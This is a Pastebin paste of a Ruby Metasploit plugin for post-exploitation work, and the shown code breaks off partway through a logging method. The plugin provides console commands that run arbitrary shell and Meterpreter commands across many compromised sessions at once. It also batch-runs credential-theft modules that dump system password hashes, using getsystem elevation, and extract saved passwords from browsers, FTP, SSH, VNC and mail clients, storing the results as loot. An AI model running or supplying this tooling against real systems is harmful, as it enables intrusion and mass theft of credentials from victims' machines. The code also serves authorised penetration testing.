Advertisement
opexxx

pentest.rb

Feb 23rd, 2014
273
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Rails 85.87 KB | None | 0 0
  1. # Copyright (c) 2012, Carlos Perez <carlos_perez[at]darkoperator.com
  2. # All rights reserved.
  3. #
  4. # Redistribution and use in source and binary forms, with or without modification, are permitted
  5. # provided that the following conditions are met:
  6. #
  7. # Redistributions of source code must retain the above copyright notice, this list of conditions and
  8. # the following disclaimer.
  9. #
  10. # Redistributions in binary form must reproduce the above copyright notice, this list of conditions
  11. # and the following disclaimer in the documentation and/or other materials provided with the
  12. # distribution.
  13. #
  14. # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
  15. # IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
  16. # FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
  17. # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  18. # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
  19. # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
  20. # IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
  21. # OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  22. module Msf
  23. class Plugin::Pentest < Msf::Plugin
  24.  
  25.   # Post Exploitation command class
  26.   ################################################################################################
  27.   class PostautoCommandDispatcher
  28.  
  29.     include Msf::Auxiliary::Report
  30.     include Msf::Ui::Console::CommandDispatcher
  31.  
  32.     def name
  33.       "Postauto"
  34.     end
  35.  
  36.     def commands
  37.       {
  38.         'multi_post'        => "Run a post module against specified sessions.",
  39.         'multi_post_rc'     => "Run resource file with post modules and options against specified sessions.",
  40.         'multi_meter_cmd'   => "Run a Meterpreter Console Command against specified sessions.",
  41.         'multi_meter_cmd_rc'=> "Run resource file with Meterpreter Console Commands against specified sessions.",
  42.         "multi_cmd"         => "Run shell command against several sessions",
  43.         "sys_creds"         => "Run system password collection modules against specified sessions.",
  44.         "app_creds"         => "Run application password collection modules against specified sessions."
  45.       }
  46.     end
  47.  
  48.     # Multi shell command
  49.     def cmd_multi_cmd(*args)
  50.       # Define options
  51.       opts = Rex::Parser::Arguments.new(
  52.         "-s"   => [ true, "Comma separated list sessions to run modules against."],
  53.         "-c"   => [ true, "Shell command to run."],
  54.         "-p"   => [ true, "Platform to run the command against. If none given it will run against all."],
  55.         "-h"   => [ false,  "Command Help."]
  56.       )
  57.  
  58.       # set variables for options
  59.       sessions = []
  60.       command = ""
  61.       plat = ""
  62.  
  63.       # Parse options
  64.       opts.parse(args) do |opt, idx, val|
  65.         case opt
  66.         when "-s"
  67.           if val =~ /all/i
  68.             sessions = framework.sessions.keys
  69.           else
  70.             sessions = val.split(",")
  71.           end
  72.         when "-c"
  73.           command = val
  74.         when "-p"
  75.           plat = val
  76.         when "-h"
  77.           print_line(opts.usage)
  78.           return
  79.         else
  80.           print_line(opts.usage)
  81.           return
  82.         end
  83.       end
  84.  
  85.       # Make sure that proper values where provided
  86.       if not sessions.empty? and not command.empty?
  87.         # Iterate thru the session IDs
  88.         sessions.each do |s|
  89.           # Set the session object
  90.           session = framework.sessions[s.to_i]
  91.           if session.platform =~ /#{plat}/i || plat.empty?
  92.             host = session.tunnel_peer.split(":")[0]
  93.             print_line("Running #{command} against session #{s}")
  94.             # Run the command
  95.             cmd_out = session.shell_command_token(command)
  96.             # Print good each line of the command output
  97.             if not cmd_out.nil?
  98.               cmd_out.each_line do |l|
  99.                 print_line(l.chomp)
  100.               end
  101.               file_name = "#{File.join(Msf::Config.loot_directory,"#{Time.now.strftime("%Y%m%d%H%M%S")}_command.txt")}"
  102.               framework.db.report_loot({ :host=> host,
  103.                   :path  => file_name,
  104.                   :ctype => "text/plain",
  105.                   :ltype => "host.command.shell",
  106.                   :data  => cmd_out,
  107.                   :name  => "#{host}.txt",
  108.                   :info  => "Output of command #{command}" })
  109.             else
  110.               print_error("No output or error when running the command.")
  111.             end
  112.           end
  113.         end
  114.       else
  115.         print_error("You must specify both a session and a command.")
  116.         print_line(opts.usage)
  117.         return
  118.       end
  119.     end
  120.  
  121.     # browser_creds Command
  122.     #-------------------------------------------------------------------------------------------
  123.     def cmd_app_creds(*args)
  124.       opts = Rex::Parser::Arguments.new(
  125.         "-s"   => [ true, "Sessions to run modules against. Example <all> or <1,2,3,4>"],
  126.         "-h"   => [ false,  "Command Help"]
  127.       )
  128.       cred_mods = [
  129.         {"mod" => "windows/gather/credentials/wsftp_client", "opt" => nil},
  130.         {"mod" => "windows/gather/credentials/winscp", "opt" => nil},
  131.         {"mod" => "windows/gather/credentials/windows_autologin", "opt" => nil},
  132.         {"mod" => "windows/gather/credentials/vnc", "opt" => nil},
  133.         {"mod" => "windows/gather/credentials/trillian", "opt" => nil},
  134.         {"mod" => "windows/gather/credentials/total_commander", "opt" => nil},
  135.         {"mod" => "windows/gather/credentials/smartftp", "opt" => nil},
  136.         {"mod" => "windows/gather/credentials/outlook", "opt" => nil},
  137.         {"mod" => "windows/gather/credentials/nimbuzz", "opt" => nil},
  138.         {"mod" => "windows/gather/credentials/mremote", "opt" => nil},
  139.         {"mod" => "windows/gather/credentials/imail", "opt" => nil},
  140.         {"mod" => "windows/gather/credentials/idm", "opt" => nil},
  141.         {"mod" => "windows/gather/credentials/flashfxp", "opt" => nil},
  142.         {"mod" => "windows/gather/credentials/filezilla_server", "opt" => nil},
  143.         {"mod" => "windows/gather/credentials/meebo", "opt" => nil},
  144.         {"mod" => "windows/gather/credentials/razorsql", "opt" => nil},
  145.         {"mod" => "windows/gather/credentials/coreftp", "opt" => nil},
  146.         {"mod" => "windows/gather/credentials/imvu", "opt" => nil},
  147.         {"mod" => "windows/gather/credentials/epo_sql", "opt" => nil},
  148.         {"mod" => "windows/gather/credentials/gpp", "opt" => nil},
  149.         {"mod" => "windows/gather/credentials/enum_picasa_pwds", "opt" => nil},
  150.         {"mod" => "windows/gather/credentials/tortoisesvn", "opt" => nil},
  151.         {"mod" => "windows/gather/credentials/ftpnavigator", "opt" => nil},
  152.         {"mod" => "windows/gather/credentials/dyndns", "opt" => nil},
  153.         {"mod" => "windows/gather/credentials/bulletproof_ftp", "opt" => nil},
  154.         {"mod" => "windows/gather/credentials/enum_cred_store", "opt" => nil},
  155.         {"mod" => "windows/gather/credentials/ftpx", "opt" => nil},
  156.         {"mod" => "windows/gather/credentials/razer_synapse", "opt" => nil},
  157.         {"mod" => "windows/gather/credentials/sso", "opt" => nil},
  158.         {"mod" => "windows/gather/credentials/steam", "opt" => nil},
  159.         {"mod" => "windows/gather/enum_ie", "opt" => nil},
  160.         {"mod" => "multi/gather/ssh_creds", "opt" => nil},
  161.         {"mod" => "multi/gather/pidgin_cred", "opt" => nil},
  162.         {"mod" => "multi/gather/firefox_creds", "opt" => nil},
  163.         {"mod" => "multi/gather/filezilla_client_cred", "opt" => nil},
  164.         {"mod" => "multi/gather/fetchmailrc_creds", "opt" => nil},
  165.         {"mod" => "multi/gather/thunderbird_creds", "opt" => nil},
  166.         {"mod" => "multi/gather/netrc_creds", "opt" => nil},
  167.         {"mod" => "/multi/gather/gpg_creds", "opt" => nil}
  168.       ]
  169.  
  170.       # Parse options
  171.       if args.length == 0
  172.         print_line(opts.usage)
  173.         return
  174.       end
  175.       sessions = ""
  176.  
  177.       opts.parse(args) do |opt, idx, val|
  178.         case opt
  179.         when "-s"
  180.           sessions = val
  181.         when "-h"
  182.           print_line(opts.usage)
  183.           return
  184.         else
  185.           print_line(opts.usage)
  186.           return
  187.         end
  188.       end
  189.       if not sessions.empty?
  190.         cred_mods.each do |p|
  191.           m = framework.post.create(p["mod"])
  192.           next if m == nil
  193.  
  194.           # Set Sessions to be processed
  195.           if sessions =~ /all/i
  196.             session_list = m.compatible_sessions
  197.           else
  198.             session_list = sessions.split(",")
  199.           end
  200.           session_list.each do |s|
  201.             begin
  202.               if m.session_compatible?(s.to_i)
  203.                 m.datastore['SESSION'] = s.to_i
  204.                 if p['opt']
  205.                   opt_pair = p['opt'].split("=",2)
  206.                   m.datastore[opt_pair[0]] = opt_pair[1]
  207.                 end
  208.                 m.options.validate(m.datastore)
  209.                 print_line("")
  210.                 print_line("Running #{p['mod']} against #{s}")
  211.                 m.run_simple(
  212.                   'LocalInput'  => driver.input,
  213.                   'LocalOutput' => driver.output
  214.                 )
  215.               end
  216.             rescue
  217.               print_error("Could not run post module against sessions #{s}.")
  218.             end
  219.           end
  220.         end
  221.       else
  222.         print_line(opts.usage)
  223.         return
  224.       end
  225.     end
  226.  
  227.     # sys_creds Command
  228.     #-------------------------------------------------------------------------------------------
  229.     def cmd_sys_creds(*args)
  230.       opts = Rex::Parser::Arguments.new(
  231.         "-s"   => [ true, "Sessions to run modules against. Example <all> or <1,2,3,4>"],
  232.         "-h"   => [ false,  "Command Help"]
  233.       )
  234.       cred_mods = [
  235.         {"mod" => "windows/gather/cachedump", "opt" => nil},
  236.         {"mod" => "windows/gather/smart_hashdump", "opt" => "GETSYSTEM=true"},
  237.         {"mod" => "windows/gather/credentials/gpp", "opt" => nil},
  238.         {"mod" => "osx/gather/hashdump", "opt" => nil},
  239.         {"mod" => "linux/gather/hashdump", "opt" => nil},
  240.         {"mod" => "solaris/gather/hashdump", "opt" => nil},
  241.       ]
  242.  
  243.       # Parse options
  244.  
  245.       sessions = ""
  246.       opts.parse(args) do |opt, idx, val|
  247.         case opt
  248.         when "-s"
  249.           sessions = val
  250.         when "-h"
  251.           print_line(opts.usage)
  252.           return
  253.         else
  254.           print_line(opts.usage)
  255.           return
  256.         end
  257.       end
  258.       if not sessions.empty?
  259.         cred_mods.each do |p|
  260.           m = framework.post.create(p["mod"])
  261.           # Set Sessions to be processed
  262.           if sessions =~ /all/i
  263.             session_list = m.compatible_sessions
  264.           else
  265.             session_list = sessions.split(",")
  266.           end
  267.           session_list.each do |s|
  268.             if m.session_compatible?(s.to_i)
  269.               m.datastore['SESSION'] = s.to_i
  270.               if p['opt']
  271.                 opt_pair = p['opt'].split("=",2)
  272.                 m.datastore[opt_pair[0]] = opt_pair[1]
  273.               end
  274.               m.options.validate(m.datastore)
  275.               print_line("")
  276.               print_line("Running #{p['mod']} against #{s}")
  277.               m.run_simple(
  278.                 'LocalInput'  => driver.input,
  279.                 'LocalOutput' => driver.output
  280.               )
  281.             end
  282.           end
  283.         end
  284.       else
  285.         print_line(opts.usage)
  286.         return
  287.       end
  288.     end
  289.  
  290.     # Multi_post Command
  291.     #-------------------------------------------------------------------------------------------
  292.  
  293.     # Function for doing auto complete on module name
  294.     def tab_complete_module(str, words)
  295.       res = []
  296.       framework.modules.module_types.each do |mtyp|
  297.         mset = framework.modules.module_names(mtyp)
  298.         mset.each do |mref|
  299.           res << mtyp + '/' + mref
  300.         end
  301.       end
  302.  
  303.       return res.sort
  304.     end
  305.  
  306.     # Function  to do tab complete on modules for multi_post
  307.     def cmd_multi_post_tabs(str, words)
  308.       tab_complete_module(str, words)
  309.     end
  310.  
  311.     # Function for the multi_post command
  312.     def cmd_multi_post(*args)
  313.       opts = Rex::Parser::Arguments.new(
  314.         "-s"   => [ true,   "Sessions to run module against. Example <all> or <1,2,3,4>"],
  315.         "-m"   => [ true,   "Module to run against sessions."],
  316.         "-o"   => [ true,   "Module options."],
  317.         "-h"   => [ false,  "Command Help."]
  318.       )
  319.       post_mod = ""
  320.       mod_opts = nil
  321.       sessions = ""
  322.  
  323.       # Parse options
  324.       opts.parse(args) do |opt, idx, val|
  325.         case opt
  326.         when "-s"
  327.           sessions = val
  328.         when "-m"
  329.           post_mod = val.gsub(/^post\//,"")
  330.         when "-o"
  331.           mod_opts = val
  332.         when "-h"
  333.           print_line opts.usage
  334.           return
  335.         else
  336.           print_status "Please specify a module to run with the -m option."
  337.           return
  338.         end
  339.       end
  340.       # Make sure that proper values where provided
  341.       if not sessions.empty? and not post_mod.empty?
  342.         # Set and execute post module with options
  343.         print_line("Loading #{post_mod}")
  344.         m = framework.post.create(post_mod)
  345.         if sessions =~ /all/i
  346.           session_list = m.compatible_sessions
  347.         else
  348.           session_list = sessions.split(",")
  349.         end
  350.         if session_list
  351.           session_list.each do |s|
  352.             if m.session_compatible?(s.to_i)
  353.               print_line("Running against #{s}")
  354.               m.datastore['SESSION'] = s.to_i
  355.               if mod_opts
  356.                 mod_opts.each do |o|
  357.                   opt_pair = o.split("=",2)
  358.                   print_line("\tSetting Option #{opt_pair[0]} to #{opt_pair[1]}")
  359.                   m.datastore[opt_pair[0]] = opt_pair[1]
  360.                 end
  361.               end
  362.               m.options.validate(m.datastore)
  363.               m.run_simple(
  364.                 'LocalInput'  => driver.input,
  365.                 'LocalOutput' => driver.output
  366.               )
  367.             else
  368.               print_error("Session #{s} is not compatible with #{post_mod}.")
  369.             end
  370.           end
  371.         else
  372.           print_error("No compatible sessions were found.")
  373.         end
  374.       else
  375.         print_error("A session or Post Module where not specified.")
  376.         print_line(opts.usage)
  377.         return
  378.       end
  379.     end
  380.  
  381.     # Multi_post_rc Command
  382.     #-------------------------------------------------------------------------------------------
  383.     def cmd_multi_post_rc_tabs(str, words)
  384.         tab_complete_filenames(str, words)
  385.     end
  386.  
  387.     def cmd_multi_post_rc(*args)
  388.       opts = Rex::Parser::Arguments.new(
  389.         "-rc"  => [ true,   "Resource file with space separate values <session> <module> <options>, per line."],
  390.         "-h"   => [ false,  "Command Help."]
  391.       )
  392.       post_mod = nil
  393.       session_list = nil
  394.       mod_opts = nil
  395.       entries = []
  396.       opts.parse(args) do |opt, idx, val|
  397.         case opt
  398.         when "-rc"
  399.           script = val
  400.           if not ::File.exists?(script)
  401.             print_error "Resource File does not exists!"
  402.             return
  403.           else
  404.             ::File.open(script, "r").each_line do |line|
  405.               # Empty line
  406.               next if line.strip.length < 1
  407.               # Comment
  408.               next if line[0,1] == "#"
  409.               entries << line.chomp
  410.             end
  411.           end
  412.         when "-h"
  413.           print_line opts.usage
  414.           return
  415.         else
  416.           print_line opts.usage
  417.           return
  418.         end
  419.       end
  420.       if entries
  421.         entries.each do |l|
  422.           values = l.split
  423.           sessions = values[0]
  424.           post_mod = values[1]
  425.           if values.length == 3
  426.             mod_opts = values[2].split(",")
  427.           end
  428.           print_line("Loading #{post_mod}")
  429.           m= framework.post.create(post_mod.gsub(/^post\//,""))
  430.           if sessions =~ /all/i
  431.             session_list = m.compatible_sessions
  432.           else
  433.             session_list = sessions.split(",")
  434.           end
  435.           session_list.each do |s|
  436.             if m.session_compatible?(s.to_i)
  437.               print_line("Running Against #{s}")
  438.               m.datastore['SESSION'] = s.to_i
  439.               if mod_opts
  440.                 mod_opts.each do |o|
  441.                   opt_pair = o.split("=",2)
  442.                   print_line("\tSetting Option #{opt_pair[0]} to #{opt_pair[1]}")
  443.                   m.datastore[opt_pair[0]] = opt_pair[1]
  444.                 end
  445.               end
  446.               m.options.validate(m.datastore)
  447.               m.run_simple(
  448.                 'LocalInput'  => driver.input,
  449.                 'LocalOutput' => driver.output
  450.               )
  451.             else
  452.               print_error("Session #{s} is not compatible with #{post_mod}")
  453.             end
  454.           end
  455.         end
  456.       else
  457.         print_error("Resource file was empty!")
  458.       end
  459.     end
  460.  
  461.     # Multi_meter_cmd Command
  462.     #-------------------------------------------------------------------------------------------
  463.     def cmd_multi_meter_cmd(*args)
  464.       opts = Rex::Parser::Arguments.new(
  465.         "-s"   => [ true,   "Sessions to run Meterpreter Console Command against. Example <all> or <1,2,3,4>"],
  466.         "-c"   => [ true,   "Meterpreter Console Command to run against sessions."],
  467.         "-h"   => [ false,  "Command Help."]
  468.       )
  469.       command = nil
  470.       session = nil
  471.  
  472.       # Parse options
  473.       opts.parse(args) do |opt, idx, val|
  474.         case opt
  475.         when "-s"
  476.           session = val
  477.         when "-c"
  478.           command = val
  479.         when "-h"
  480.           print_line opts.usage
  481.           return
  482.         else
  483.           print_status "Please specify a command to run with the -m option."
  484.           return
  485.         end
  486.       end
  487.       current_sessions = framework.sessions.keys.sort
  488.       if session =~/all/i
  489.         sessions = current_sessions
  490.       else
  491.         sessions = session.split(",")
  492.       end
  493.       sessions.each do |s|
  494.         # Check if session is in the current session list.
  495.         next if not current_sessions.include?(s.to_i)
  496.         # Get session object
  497.         session = framework.sessions.get(s.to_i)
  498.         # Check if session is meterpreter and run command.
  499.         if (session.type == "meterpreter")
  500.           print_line("Running command #{command} against session #{s}")
  501.           session.console.run_single(command)
  502.         else
  503.           print_line("Session #{s} is not a Meterpreter session!")
  504.         end
  505.       end
  506.     end
  507.  
  508.     # Multi_post_rc Command
  509.     #-------------------------------------------------------------------------------------------
  510.     def cmd_multi_meter_cmd_rc(*args)
  511.       opts = Rex::Parser::Arguments.new(
  512.         "-rc"  => [ true,   "Resource file with space separate values <session> <command>, per line."],
  513.         "-h"   => [ false,  "Command Help"]
  514.       )
  515.       entries = []
  516.       script = nil
  517.       opts.parse(args) do |opt, idx, val|
  518.         case opt
  519.         when "-rc"
  520.           script = val
  521.           if not ::File.exists?(script)
  522.             print_error "Resource File does not exists"
  523.             return
  524.           else
  525.             ::File.open(script, "r").each_line do |line|
  526.               # Empty line
  527.               next if line.strip.length < 1
  528.               # Comment
  529.               next if line[0,1] == "#"
  530.               entries << line.chomp
  531.             end
  532.           end
  533.         when "-h"
  534.           print_line opts.usage
  535.           return
  536.         else
  537.           print_line opts.usage
  538.           return
  539.         end
  540.       end
  541.       entries.each do |entrie|
  542.         session_parm,command = entrie.split(" ", 2)
  543.         current_sessions = framework.sessions.keys.sort
  544.         if session_parm =~ /all/i
  545.           sessions = current_sessions
  546.         else
  547.           sessions = session_parm.split(",")
  548.         end
  549.         sessions.each do |s|
  550.           # Check if session is in the current session list.
  551.           next if not current_sessions.include?(s.to_i)
  552.           # Get session object
  553.           session = framework.sessions.get(s.to_i)
  554.           # Check if session is meterpreter and run command.
  555.           if (session.type == "meterpreter")
  556.             print_line("Running command #{command} against session #{s}")
  557.             session.console.run_single(command)
  558.           else
  559.             print_line("Session #{s} is not a Meterpreter sessions.")
  560.           end
  561.         end
  562.       end
  563.     end
  564.   end
  565.  
  566.   # Project handling commands
  567.   ################################################################################################
  568.   class ProjectCommandDispatcher
  569.     include Msf::Ui::Console::CommandDispatcher
  570.  
  571.     # Set name for command dispatcher
  572.     def name
  573.       "Project"
  574.     end
  575.  
  576.     # Define Commands
  577.     def commands
  578.       {
  579.         "project"     => "Command for managing projects.",
  580.       }
  581.     end
  582.  
  583.     def cmd_project(*args)
  584.       # variable
  585.       project_name = ""
  586.       create = false
  587.       delete = false
  588.       history = false
  589.       switch = false
  590.       archive = false
  591.       arch_path = ::File.join(Msf::Config.log_directory,"archives")
  592.       # Define options
  593.       opts = Rex::Parser::Arguments.new(
  594.         "-c"   => [ false,  "Create a new Metasploit project and sets logging for it."],
  595.         "-d"   => [ false,  "Delete a project created by the plugin."],
  596.         "-s"   => [ false,  "Switch to a project created by the plugin."],
  597.         "-a"   => [ false,  "Export all history and DB and archive it in to a zip file for current project."],
  598.         "-p"   => [ true,   "Path to save archive, if none provide default ~/.msf4/archives will be used."],
  599.         "-r"   => [ false,  "Create time stamped RC files of Meterpreter Sessions and console history for current project."],
  600.         "-ph"  => [ false,  "Generate resource files for sessions and console. Generate time stamped session logs for current project."],
  601.         "-l"   => [ false,  "List projects created by plugin."],
  602.         "-h"   => [ false,  "Command Help"]
  603.       )
  604.       opts.parse(args) do |opt, idx, val|
  605.         case opt
  606.         when "-p"
  607.           if ::File.directory?(val)
  608.             arch_path =  val
  609.           else
  610.             print_error("Path provided for archive does not exists!")
  611.             return
  612.           end
  613.         when "-d"
  614.           delete = true
  615.         when "-s"
  616.           switch = true
  617.         when "-a"
  618.           archive = true
  619.         when "-c"
  620.           create = true
  621.         when "-r"
  622.           make_console_rc
  623.           make_sessions_rc
  624.         when "-h"
  625.           print_line(opts.usage)
  626.           return
  627.         when "-l"
  628.           list
  629.           return
  630.         when "-ph"
  631.           history = true
  632.         else
  633.           project_name = val.gsub(" ","_").chomp
  634.         end
  635.       end
  636.       if project_name and create
  637.         project_create(project_name)
  638.       elsif project_name and delete
  639.         project_delete(project_name)
  640.       elsif project_name and switch
  641.         project_switch(project_name)
  642.       elsif archive
  643.         project_archive(arch_path)
  644.       elsif history
  645.         project_history
  646.       else
  647.         list
  648.       end
  649.     end
  650.  
  651.     def project_delete(project_name)
  652.       # Check if project exists
  653.       if project_list.include?(project_name)
  654.         current_workspace = framework.db.workspace.name
  655.         if current_workspace == project_name
  656.           driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new)
  657.         end
  658.         workspace = framework.db.find_workspace(project_name)
  659.         if workspace.default?
  660.           workspace.destroy
  661.           workspace = framework.db.add_workspace(project_name)
  662.           print_line("Deleted and recreated the default workspace")
  663.         else
  664.           # switch to the default workspace if we're about to delete the current one
  665.           framework.db.workspace = framework.db.default_workspace if framework.db.workspace.name == workspace.name
  666.           # now destroy the named workspace
  667.           workspace.destroy
  668.           print_line("Deleted workspace: #{project_name}")
  669.         end
  670.         project_path = ::File.join(Msf::Config.log_directory,"projects",project_name)
  671.         ::FileUtils.rm_rf(project_path)
  672.         print_line("Project folder #{project_path} has been deleted")
  673.       else
  674.         print_error("Project was not found on list of projects!")
  675.       end
  676.       return true
  677.     end
  678.  
  679.     # Switch to another project created by the plugin
  680.     def project_switch(project_name)
  681.       # Check if project exists
  682.       if project_list.include?(project_name)
  683.         print_line("Switching to #{project_name}")
  684.         # Disable spooling for current
  685.         driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new)
  686.  
  687.         # Switch workspace
  688.         workspace = framework.db.find_workspace(project_name)
  689.         framework.db.workspace = workspace
  690.         print_line("Workspace: #{workspace.name}")
  691.  
  692.         # Spool
  693.         spool_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
  694.         spool_file = ::File.join(spool_path,"#{project_name}_spool.log")
  695.  
  696.         # Start spooling for new workspace
  697.         driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file))
  698.         print_line("Spooling to file #{spool_file}...")
  699.         print_line("Successfully migrated to #{project_name}")
  700.  
  701.       else
  702.         print_error("Project was not found on list of projects!")
  703.       end
  704.       return true
  705.     end
  706.  
  707.     # List current projects created by the plugin
  708.     def list
  709.       current_workspace = framework.db.workspace.name
  710.       print_line("List of projects:")
  711.       project_list.each do |p|
  712.         if current_workspace == p
  713.           print_line("\t* #{p}")
  714.         else
  715.           print_line("\t#{p}")
  716.         end
  717.       end
  718.       return true
  719.     end
  720.  
  721.     # Archive project in to a zip file
  722.     def project_archive(archive_path)
  723.       # Set variables for options
  724.       project_name = framework.db.workspace.name
  725.       project_path = ::File.join(Msf::Config.log_directory,"projects",project_name)
  726.       archive_name =  "#{project_name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.zip"
  727.       db_export_name = "#{project_name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.xml"
  728.       db_out = ::File.join(project_path,db_export_name)
  729.       format = "xml"
  730.       print_line("Exporting DB Workspace #{project_name}")
  731.       exporter = Msf::DBManager::Export.new(framework.db.workspace)
  732.       exporter.send("to_#{format}_file".intern,db_out) do |mtype, mstatus, mname|
  733.         if mtype == :status
  734.           if mstatus == "start"
  735.             print_line("  >> Starting export of #{mname}")
  736.           end
  737.           if mstatus == "complete"
  738.             print_line("  >> Finished export of #{mname}")
  739.           end
  740.         end
  741.       end
  742.       print_line("Finished export of workspace #{framework.db.workspace.name} to #{db_out} [ #{format} ]...")
  743.       print_line("Disabling spooling for #{project_name}")
  744.       driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new)
  745.       print_line("Spooling disabled for archiving")
  746.       archive_full_path = ::File.join(archive_path,archive_name)
  747.       make_console_rc
  748.       make_sessions_rc
  749.       make_sessions_logs
  750.       compress(project_path,archive_full_path)
  751.       print_line("MD5 for archive is #{digestmd5(archive_full_path)}")
  752.       # Spool
  753.       spool_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
  754.       spool_file = ::File.join(spool_path,"#{project_name}_spool.log")
  755.       print_line("Spooling re-enabled")
  756.       # Start spooling for new workspace
  757.       driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file))
  758.       print_line("Spooling to file #{spool_file}...")
  759.       return true
  760.     end
  761.  
  762.     # Export Command History for Sessions and Console
  763.     #-------------------------------------------------------------------------------------------
  764.     def project_history
  765.       make_console_rc
  766.       make_sessions_rc
  767.       make_sessions_logs
  768.       return true
  769.     end
  770.  
  771.     # Create a new project Workspace and enable logging
  772.     #-------------------------------------------------------------------------------------------
  773.     def project_create(project_name)
  774.       # Make sure that proper values where provided
  775.       spool_path = ::File.join(Msf::Config.log_directory,"projects",project_name)
  776.       ::FileUtils.mkdir_p(spool_path)
  777.       spool_file = ::File.join(spool_path,"#{project_name}_spool.log")
  778.       if framework.db and framework.db.active
  779.         print_line("Creating DB Workspace named #{project_name}")
  780.         workspace = framework.db.add_workspace(project_name)
  781.         framework.db.workspace = workspace
  782.         print_line("Added workspace: #{workspace.name}")
  783.         driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file))
  784.         print_line("Spooling to file #{spool_file}...")
  785.       else
  786.         print_error("A database most be configured and connected to create a project")
  787.       end
  788.  
  789.       return true
  790.     end
  791.  
  792.     # Method for creating a console resource file from all commands entered in the console
  793.     #-------------------------------------------------------------------------------------------
  794.     def make_console_rc
  795.       # Set RC file path and file name
  796.       rc_file = "#{framework.db.workspace.name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.rc"
  797.       consonle_rc_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
  798.       rc_full_path = ::File.join(consonle_rc_path,rc_file)
  799.  
  800.       # Create folder
  801.       ::FileUtils.mkdir_p(consonle_rc_path)
  802.       con_rc = ""
  803.       framework.db.workspace.events.each do |e|
  804.         if not e.info.nil? and e.info.has_key?(:command) and not e.info.has_key?(:session_type)
  805.           con_rc << "# command executed at #{e.created_at}\n"
  806.           con_rc << "#{e.info[:command]}\n"
  807.         end
  808.       end
  809.  
  810.       # Write RC console file
  811.       print_line("Writing Console RC file to #{rc_full_path}")
  812.       file_write(rc_full_path, con_rc)
  813.       print_line("RC file written")
  814.  
  815.       return rc_full_path
  816.     end
  817.  
  818.     # Method for creating individual rc files per session using the session uuid
  819.     #-------------------------------------------------------------------------------------------
  820.     def make_sessions_rc
  821.       sessions_uuids = []
  822.       sessions_info = []
  823.       info = ""
  824.       rc_file = ""
  825.       rc_file_name = ""
  826.       rc_list =[]
  827.  
  828.       framework.db.workspace.events.each do |e|
  829.         if not e.info.nil? and e.info.has_key?(:command) and e.info[:session_type] =~ /meter/
  830.           if e.info[:command] != "load stdapi"
  831.             if not sessions_uuids.include?(e.info[:session_uuid])
  832.               sessions_uuids << e.info[:session_uuid]
  833.               sessions_info << {:uuid => e.info[:session_uuid],
  834.                 :type => e.info[:session_type],
  835.                 :id => e.info[:session_id],
  836.                 :info => e.info[:session_info]}
  837.             end
  838.           end
  839.         end
  840.       end
  841.  
  842.       sessions_uuids.each do |su|
  843.         sessions_info.each do |i|
  844.           if su == i[:uuid]
  845.             print_line("Creating RC file for Session #{i[:id]}")
  846.             rc_file_name = "#{framework.db.workspace.name}_session_#{i[:id]}_#{::Time.now.strftime("%Y%m%d.%M%S")}.rc"
  847.             i.each do |k,v|
  848.               info << "#{k.to_s}: #{v.to_s} "
  849.             end
  850.             break
  851.           end
  852.         end
  853.         rc_file << "# Info: #{info}\n"
  854.         info = ""
  855.         framework.db.workspace.events.each do |e|
  856.           if not e.info.nil? and e.info.has_key?(:command) and e.info.has_key?(:session_uuid)
  857.             if e.info[:session_uuid] == su
  858.               rc_file << "# command executed at #{e.created_at}\n"
  859.               rc_file << "#{e.info[:command]}\n"
  860.             end
  861.           end
  862.         end
  863.         # Set RC file path and file name
  864.         consonle_rc_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
  865.         rc_full_path = ::File.join(consonle_rc_path,rc_file_name)
  866.         print_line("Saving RC file to #{rc_full_path}")
  867.         file_write(rc_full_path, rc_file)
  868.         rc_file = ""
  869.         print_line("RC file written")
  870.         rc_list << rc_full_path
  871.       end
  872.  
  873.       return rc_list
  874.     end
  875.  
  876.     # Method for exporting session history with output
  877.     #-------------------------------------------------------------------------------------------
  878.     def make_sessions_logs
  879.       sessions_uuids = []
  880.       sessions_info = []
  881.       info = ""
  882.       hist_file = ""
  883.       hist_file_name = ""
  884.       log_list = []
  885.  
  886.       # Create list of sessions with base info
  887.       framework.db.workspace.events.each do |e|
  888.         if not e.info.nil? and e.info[:session_type] =~ /shell/ or e.info[:session_type] =~ /meter/
  889.           if e.info[:command] != "load stdapi"
  890.             if not sessions_uuids.include?(e.info[:session_uuid])
  891.               sessions_uuids << e.info[:session_uuid]
  892.               sessions_info << {:uuid => e.info[:session_uuid],
  893.                 :type => e.info[:session_type],
  894.                 :id => e.info[:session_id],
  895.                 :info => e.info[:session_info]}
  896.             end
  897.           end
  898.         end
  899.       end
  900.  
  901.       sessions_uuids.each do |su|
  902.         sessions_info.each do |i|
  903.           if su == i[:uuid]
  904.             print_line("Exporting Session #{i[:id]} history")
